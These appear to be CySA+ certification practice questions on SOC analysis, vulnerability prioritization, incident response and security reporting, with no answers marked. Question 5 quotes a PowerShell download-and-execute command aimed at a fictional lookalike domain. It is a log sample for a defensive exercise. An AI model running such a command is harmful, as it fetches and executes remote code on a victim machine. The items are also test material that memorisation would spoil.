CompTIA CySA+ (CS0-004) practice questions

Question 1 · Security Operations

An analyst at Verdant Logistics reviews the following Zeek conn.log excerpt from a workstation belonging to a warehouse clerk: ``` ts=09:14:02 id.orig_h=10.44.7.19 id.resp_h=185.203.44.61 id.resp_p=443 duration=1.02 orig_bytes=612 resp_bytes=430 ts=09:19:03 id.orig_h=10.44.7.19 id.resp_h=185.203.44.61 id.resp_p=443 duration=0.98 orig_bytes=608 resp_bytes=441 ts=09:24:02 id.orig_h=10.44.7.19 id.resp_h=185.203.44.61 id.resp_p=443 duration=1.05 orig_bytes=615 resp_bytes=428 ``` Which characteristic of this traffic most strongly supports a command-and-control hypothesis?

1. A.The destination port is 443, which indicates the session is encrypted and therefore evasive
2. B.The connections originate from an internal RFC 1918 address contacting a public address
3. C.The response bytes exceed 400, which is above the threshold for benign keep-alive traffic
4. D.The near-identical five-minute interval and consistent small payload sizes indicate automated beaconing

Question 2 · Vulnerability Management

Brightwater Credit Union's scanner reports CVE-2026-31884 on an internal reporting server with a CVSS v3.1 base score of 9.8. Investigation shows the vulnerable service is bound only to localhost and the server sits in a segment with no inbound access from user networks. How should the analyst treat the base score?

1. A.The base score already accounts for network placement, so remediation must proceed within the critical SLA
2. B.Mark the finding as a false positive because the service is not reachable from user networks
3. C.Change the base score's attack vector metric to Local and republish the corrected base score
4. D.Apply environmental metrics to reflect the restricted exposure and reduced impact, producing a lower contextual score

Question 3 · Incident Response and Management

At 07:40 a SOC analyst at Denholm Manufacturing confirms ransomware encrypting a file share, with the malicious process still active on three servers. The incident commander has been notified. What is the correct immediate priority?

1. A.Isolate the affected servers from the network to stop further encryption while preserving them for analysis
2. B.Begin restoring the encrypted shares from the most recent backup to reduce downtime
3. C.Power off the affected servers to ensure the encryption process terminates
4. D.Collect a full forensic disk image of each server before taking any network action

Question 4 · Reporting and Communication

Aurelia, a SOC manager at Grantwood Financial, is preparing the monthly security report for the executive committee. Which content best serves that audience?

1. A.Packet captures and log excerpts from the month's two most technically interesting investigations
2. B.Trends in incident volume and severity, remediation progress against agreed targets, and the residual risks needing executive decisions
3. C.A list of every vulnerability discovered during the month, sorted by CVSS base score
4. D.A per-alert breakdown of the SIEM rules that fired most frequently during the month

Question 5 · Security Operations

During a threat hunt at Kestrel Medical Group, an analyst finds this entry in a Windows PowerShell operational log on a nurse's laptop: ``` EventID 4104 ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://cdn-updates.kestrelmed-support.net/a.ps1') ``` What is the most appropriate immediate analytic step before deciding on containment?

1. A.Reimage the laptop to guarantee any downloaded payload is destroyed
2. B.Submit the laptop's full disk image to the malware sandbox for detonation
3. C.Disable PowerShell across the nursing department through Group Policy
4. D.Determine the parent process that spawned PowerShell and check whether the domain resolves and was contacted

Question 6 · Vulnerability Management

An analyst at Kellingford Devices must prioritize 1,400 open findings with limited patching capacity this cycle. Which prioritization approach best reduces near-term risk of exploitation?

1. A.Remediate strictly in descending CVSS base score order until capacity is exhausted
2. B.Prioritize findings that appear in the CISA Known Exploited Vulnerabilities catalog or carry high EPSS scores on internet-facing assets
3. C.Group findings by vendor and patch whichever vendor has the fewest outstanding items
4. D.Remediate the oldest findings first to reduce the average age of the backlog

Question 7 · Incident Response and Management

An analyst must collect evidence from a compromised Windows server at Ashgrove Partners that is still powered on and connected. Which collection sequence follows the order of volatility?

1. A.Memory and running process state, then network connections, then disk contents, then archival backups
2. B.Archival backups, then disk image, then network state, then memory capture
3. C.Network packet capture, then archival backups, then memory, then disk image
4. D.Disk image, then memory capture, then network connection state, then CPU cache

Question 8 · Reporting and Communication

Duncastle Media wants a metric that shows whether investments in detection engineering are shortening the window during which an intruder operates undetected. Which metric most directly measures this?

1. A.Total alert volume processed by the SOC each month
2. B.Mean time to detect, measured from the earliest evidence of compromise to analyst confirmation
3. C.Percentage of critical vulnerabilities remediated within the agreed service level
4. D.Mean time to respond, measured from ticket assignment to containment